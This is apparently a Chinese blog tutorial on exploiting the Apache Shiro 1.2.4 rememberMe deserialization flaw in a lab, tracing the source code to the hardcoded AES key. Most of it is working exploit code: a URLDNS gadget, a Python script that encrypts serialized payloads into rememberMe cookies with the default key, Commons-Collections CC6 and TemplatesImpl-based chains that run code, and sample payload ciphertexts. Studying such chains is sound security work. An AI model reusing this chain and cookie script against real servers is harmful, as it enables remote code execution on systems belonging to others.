shiro反序列化简单利用-1

https://www.bilibili.com/video/BV1iF411b7bD?t=16.0

环境搭建

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2

流程分析

静态分析

尝试登录并抓包

username和Password都用上面提供的

发现响应头中有rememberMe
cookie里面保存了信息,很可能是序列化后的结果
然后找和cookie相关的代码:

找到CookieRememberMeManager类,里面有rememberSerializedIdentity方法,这个应该跟序列化有关
然后找到了getRememberedSerializedIdentity这个方法

其中进行了base64的加密解密:


发现getRememberedPrincipals调用了getRememberedSerializedIdentity方法

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes = getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }

        return principals;
    }

里面还调用了convertBytesToPrincipals方法,意思应该是将字节转换为认证信息

跟进convertBytesToPrincipals方法:

发现里面调用了decrypt方法
这里先解密再反序列化
跟进这个deserialize:

继续跟进:

继续跟进:

发现调用了原生的readObject进行反序列化
如果有CC的依赖就能打漏洞了。。。

再回去跟进decrypt方法:

继续跟进:

继续跟进:

发现是一个接口:

ByteSource decrypt(byte[] encrypted, byte[] decryptionKey) throws CryptoException;

第一个参数为加密的数据,第二个为key
也就是说可能是对称加密,这是用key去解得

回去看这个key是什么
来到AbstractRememberMeManager这个类:

发现key为getDecryptionCipherKey() 的返回值
跟进getDecryptionCipherKey():

发现返回常量decryptionCipherKey
跟进其定义:

接着看它是在哪儿赋值的:

发现是在setCipherKey里赋值的,那就跟进这个函数:

发现是在setCipherKey里调用的,再看看setCipherKey的用法:

发现是在AbstractRememberMeManager里面调用的
这时setCipherKey里面是常量,跟进他的定义:

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

好的,发现这个key为固定key,值为 kPH+bIxk5D2deZiIxcaaaA==的base64解码
而使用的算法是aes算法:

接下来的利用就是:
构造序列化数据+固定key加密+base64编码,放到rememberMe里面,服务端进行解码、解密和反序列化

URLDNS:

package org.apache.shiro.web.test;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
        URL url = new URL("http://");
        Class c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url,1234);
        hashMap.put(url,1);
        
        hashCodeField.set(url,-1);
        serialize(hashMap);
    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
}

exp.py:填充密钥key即可

import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
    with open(filename,'rb') as f:
        data = f.read()
    return data

def aes_enc(data):
    BS = AES.block_size
    pad = lambda s:s + ((BS - len(s) % BS) * chr(BS - len(s) %BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
    return ciphertext

def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s : s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16] # 向量,随便取的
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext

if __name__ == '__main__':
    data = get_file_data("ser.bin")
    print(aes_enc(data))



运行后得到:

b'EbVh6+bvSPWHlztjVAH1eGjjpAVAHeq/0H+T8eFbUkSzYk1+iea6f1TNOewkxYGE2REEoWasKsRXwTLk+HvmduwlJ/hS1Ten/kiYquXhOtOg1t/Cx2A0mPPt3k7z35Ttxv7sdkBUNGwLeJ6u9Lz6PaNy8MjPfrhjkdDnfruSEiwlJSZQBQ77BmnuL/rlu0TonIGa0u/VmU2MAaJvmGYhilNctsDLZGWnoUOedtFk/iVeweh6d9TBCXrxMlwoNAzaGse3htNHOFOBPZNJavxmkVYKyZRsZMZg9wdr4G3AXHtfASdwViZYDvkZRBvAm8hxpTKLQsCk/1x8IkWA9nfACqEAiz5xQovdTkr98ZvRXc9w3al9lVaojzHE+k/jDhPCQSfC5Z9UVzTRGObUtCvPbe4YPN3rY5QLIRSnkVhNkEDKNX2bCzILSXx48jz/RQy1xL1gHQWi0OmaqU5wt0ICNKoDA4gfTMFFIYKfLdJiH8g='

由于系统在JSESSIONID存在的情况下不会检查rememberMe的值:

所以要将JSESSIONID删除
用生成的替换rememberMe的值:

重新换了个域名所以payload有变化


发现进行了DNS域名解析,证明攻击成功

动态分析

打断点:

发包到断点:

跟进到readObject:

然后在HashMap的readObject这里打断点:

顺利来到了HashMap的readObject方法里面:

然后反序列化这个HashMap即可

shiro下CC链的利用

在pom.xml里面加上这两个依赖:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>9.0.45</version>
</dependency>

想要执行代码一般就要用CC链

用CC6打CC3的链:

package org.apache.shiro.web.test;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
    public static void main(String[] args) throws  Exception{
//        System.out.println("hello world");
        // ChainedTransformer.transform -> InvokerTransformer.transform
        Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // LazyMap.get -> ChainedTransformer.transform
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        // 使得在map2.put的时候无法实现LazyMap.get -> ChainedTransformer.transform这一步

        // TiedMapEntry.hashcode -> TiedMapEntry.getValue -> LazyMap.get
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        // HashMap.readObject -> HashMap.hash -> TiedMapEntry.hashcode
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb"); // TiedMapEntry.hashcode
        lazyMap.remove("aaa");

        // 修改LazyMap中factory的值,预期它的值为chainedTransformer
        // 这里就是通过反射来控制factory的值为chainedTransformer
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

                serialize(map2);
//        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

然后替换ser.bin,并运行exp.py,得到:

b'JmroTs9RQDu2fRYowjYlrx2GPmGNnZoOkGWNMG2j8+srIJe6Rwiz+alDEJqjM7adPpitL5lcZ+FRV9R7nH9PA3U1d+PHpqoaAo5pMeX19VpPybkunhH7g+dOFW/Itt9/KtxmGCVtkR945I7+i5MdPhHiqYAav5f5/SNYPj5tdF2FUOv2SQdwZRDgb8e3qPxmXGkAAe7SPKCzyq673NsyNFJbuxANZ5CXWza/qsfsXKQ7v94nchGFRRmLTF1TiTdAFHH0Kw0myoiwbJ78Nb6y27c1LSBjg7ZfnHJtPPek0rzIu573h22cDasky1av+ewdVL7wr14mUQPC6k2Cj29T++yHHFGBcY0m4Yo3RHzgysjY/wl/peFi5yZLv0pevgphJ7VhW3bza/+5M6AVEUg6jRbz/uKTbeIRC7hJcy4TJAQDfO90Y7ws8sK2Eq2g9ZS/PkcdUJuut2qfzjhBXUlxjmux71xIiR/MiqasrTDrowhEHKGEKi5BAlUXeD5C99bJVSxd+7yjJM+3pJzOhFXQ+1ckinDd9s8tkipGMVMs3RYrQjXirKd18TIbsd2nAhxqmHNsscHk3TLSGjFaXrNer2rX/+m7DWLkABKmtxWDIIqgFCXBo/FgBXEZ46H7k2TgnbkycfF7uTAN5c51eRz6GP2CsgQJslUCEe2fUHpBvZWAmaelq+D68cjZZHlbKvuTGkZsXgE/Br+D5qUQrb/f1TcjpQJreRafDyeXro3LPvAXce+68gZN+46nbKc5Oqv1mkP23TBgZSLz3O/jbLrd6/Nrci3IDT9Qq54jfk8ANUPxzdo4BwOIHdnLdyC7nWTSyEzdN7wRCjnQvjPTrzU667zVZeo9DaS0guoWvil7FGymjBT7CZE5FCrKADC3zuuZR2YjxW2BmXp1v38j6Lwk/SVdWAJCmjhRpZOn4xvi328dNQt7YP5QBbpy5XtqQj87BOLfnHz6QbUWuebirxT2FrN1o4bzfHlhNbZ5tEVPncZlWaj3RhQV1n9oCUeuWe2Uo5dFnYRXRYlULMDsHG0Ejwr8hjVxUPZSNnGrgk/x+eI2AQdAIKf5z7oU01PFbwM2PHcMG0GFomw398oVMTSaDv7mLJyeRAecL1vd5kaxL/JpwCyqfbp6jomtXuTH5JQBfUAE8CjFTxByOX7MrhTb7Pp6bXiMcTJKxAmZn9K8jC8kky+LLzAcW+jdXgAQIxk33jj6AbLIleBT/Ag0qCpWAp++vjzwaeURXJGqsXx14FUmYR1SiIDbp2LTnzHwRRZNJs9pxqxKCaMkaG0woNe2H8wLw9SZk1ahmZ0T/Fy7Vuoi1Q14cdkd0wIHpiBuTVcWMALPuYO1gOknl3pFCQuv9/Z3kHamr5bdv+BBPm9wViscKYT95Pi3EJ1OMhTzvwY5jABAbRrQ6lNJmSgxMI5Q5ax3wGkKOLcA0J+qqy2C+gn4hMlWLMZ9jqJ3is636YxRCkTWcvqlIuWFme0gcIzcbfflsP7SbwuyLZVjvmzoqzbfz+XbIu2YcxphFKAWOnKv'

直接发包,得到报错信息:

2024-09-06 14:05:24,867 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the thread context ClassLoader.  Trying the current ClassLoader...
2024-09-06 14:05:24,868 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;] from class loader [ParallelWebappClassLoader
  context: samples_web_war
  delegate: false
----------> Parent Classloader:
java.net.URLClassLoader@134593bf

即不能加载Lorg.apache.commons.collections.Transformer 这个类
然后因为双亲委派会加载好几次,所以这里都加载不到,产生很多报错。
以下看为什么会报错
先来到反序列化的这里:

来到DefaultSerializer类的desearialize方法里面:

接下来看他的反序列化是如何实现的
之前说的是调用的readObject:

但是实际上并不是直接调用的原生的ObjectInputStream的readObject,实际上:

ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();

调用的是ClassResolvingObjectInputStream 这个类
这是shiro里面自定义的输入流
跟进这个类:

发现有两个方法,一个是构造方法,一个是resolveClass
而java原生反序列化是会调用这个resolveClass方法,如果重写的话,则会调到这个重写的方法
现在和原生(ObjectInputStream类)的resolveClass方法对比一下

protected Class<?> resolveClass(ObjectStreamClass desc)
    throws IOException, ClassNotFoundException
{
    String name = desc.getName(); // 获取name
    try {
        return Class.forName(name, false, latestUserDefinedLoader()); // 类加载
    } catch (ClassNotFoundException ex) {
        Class<?> cl = primClasses.get(name);
        if (cl != null) {
            return cl;
        } else {
            throw ex;
        }
    }
}

而shiro自定义的:

protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
    try {
        return ClassUtils.forName(osc.getName());
    } catch (UnknownClassException e) {
        throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
    }
}

有个ClassUtils类

ClassUtils是一个工具类,提供了很多缓存数据和初始化内容的方法

跟进ClassUtils的forName:

线程的上下文类加载器--->当前的类加载器--->系统/应用类加载器
即加载三次
继续分析为什么加载不到

简单来说:

  • ClassUtils类的forName方法里面的ClassLoader的loadClass是加载不到数组类的

  • 而原生的ObjectInputStream类的resolve方法里面的Class.forName是可以加载数组类的

即如果想要打这条链,即让链中没有数组类即可
出口有两处:

一个是Runtime.exec,一个是defineClass->newInstance
而如果选择Runtime.exec的话,则势必要使用InvokerTransformer循环递归:

而当InvokerTransformer加上TemplatesImpl类时就不会出现数组类:

接下来使用CC2、CC3、CC6的半部分
为什么要用CC6呢?
因为CC6可以用HashMap

之前一直想用Transformer这个数组类的原因就是为了控制最后到目标点的结果

new ConstantTransformer(Runtime.class)

CC6可以控制出路,如果传到HashMap的key里面,最后这个东西是一直传进去的,不用ConstantTransformer

接下来做演示:
接下来的部分:

先直接拷贝CC3部分代码:

TemplatesImpl templates = new TemplatesImpl();
//        templates.newTransformer();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\Test_CC3.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);

CC2的部分代码:

// newTransformer是TemplatesImpl类里的一个方法,调用newTransformer的目的是动态加载类,然后执行代码
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

CC6的部分代码:

// LazyMap.get -> ChainedTransformer.transform
HashMap<Object,Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
// 使得在map2.put的时候无法实现LazyMap.get -> ChainedTransformer.transform这一步

// TiedMapEntry.hashcode -> TiedMapEntry.getValue -> LazyMap.get
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
/*
将aaa改为templates
 */

// HashMap.readObject -> HashMap.hash -> TiedMapEntry.hashcode
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb"); // TiedMapEntry.hashcode
lazyMap.remove(templates);
/*
将aaa 改为 templates
 */
// 修改LazyMap中factory的值,预期它的值为chainedTransformer
// 这里就是通过反射来控制factory的值为chainedTransformer
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
/*
将ainedTransformer改为invokerTransformer
 */

serialize(map2);
//        unserialize("ser.bin");

完整:

package org.apache.shiro.web.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC_shiro {
    public static void main(String[] args) throws  Exception{
        // CC3
        TemplatesImpl templates = new TemplatesImpl();
        //        templates.newTransformer();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\Test_CC3.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        // CC2
        // newTransformer是TemplatesImpl类里的一个方法,调用newTransformer的目的是动态加载类,然后执行代码
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        // cc6
        // LazyMap.get -> ChainedTransformer.transform
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        // 使得在map2.put的时候无法实现LazyMap.get -> ChainedTransformer.transform这一步

        // TiedMapEntry.hashcode -> TiedMapEntry.getValue -> LazyMap.get
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
        /*
        将aaa改为templates
         */

        // HashMap.readObject -> HashMap.hash -> TiedMapEntry.hashcode
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb"); // TiedMapEntry.hashcode
        lazyMap.remove(templates);
        /*
        将aaa 改为 templates
         */
        // 修改LazyMap中factory的值,预期它的值为chainedTransformer
        // 这里就是通过反射来控制factory的值为chainedTransformer
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,invokerTransformer);
        /*
        将ainedTransformer改为invokerTransformer
         */

        serialize(map2);
//        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

同样的,运行生成ser.bin文件,替换ser.bin,运行exp.py

posted @ 2024-10-16 11:34  starme  阅读(40)  评论(0编辑  收藏  举报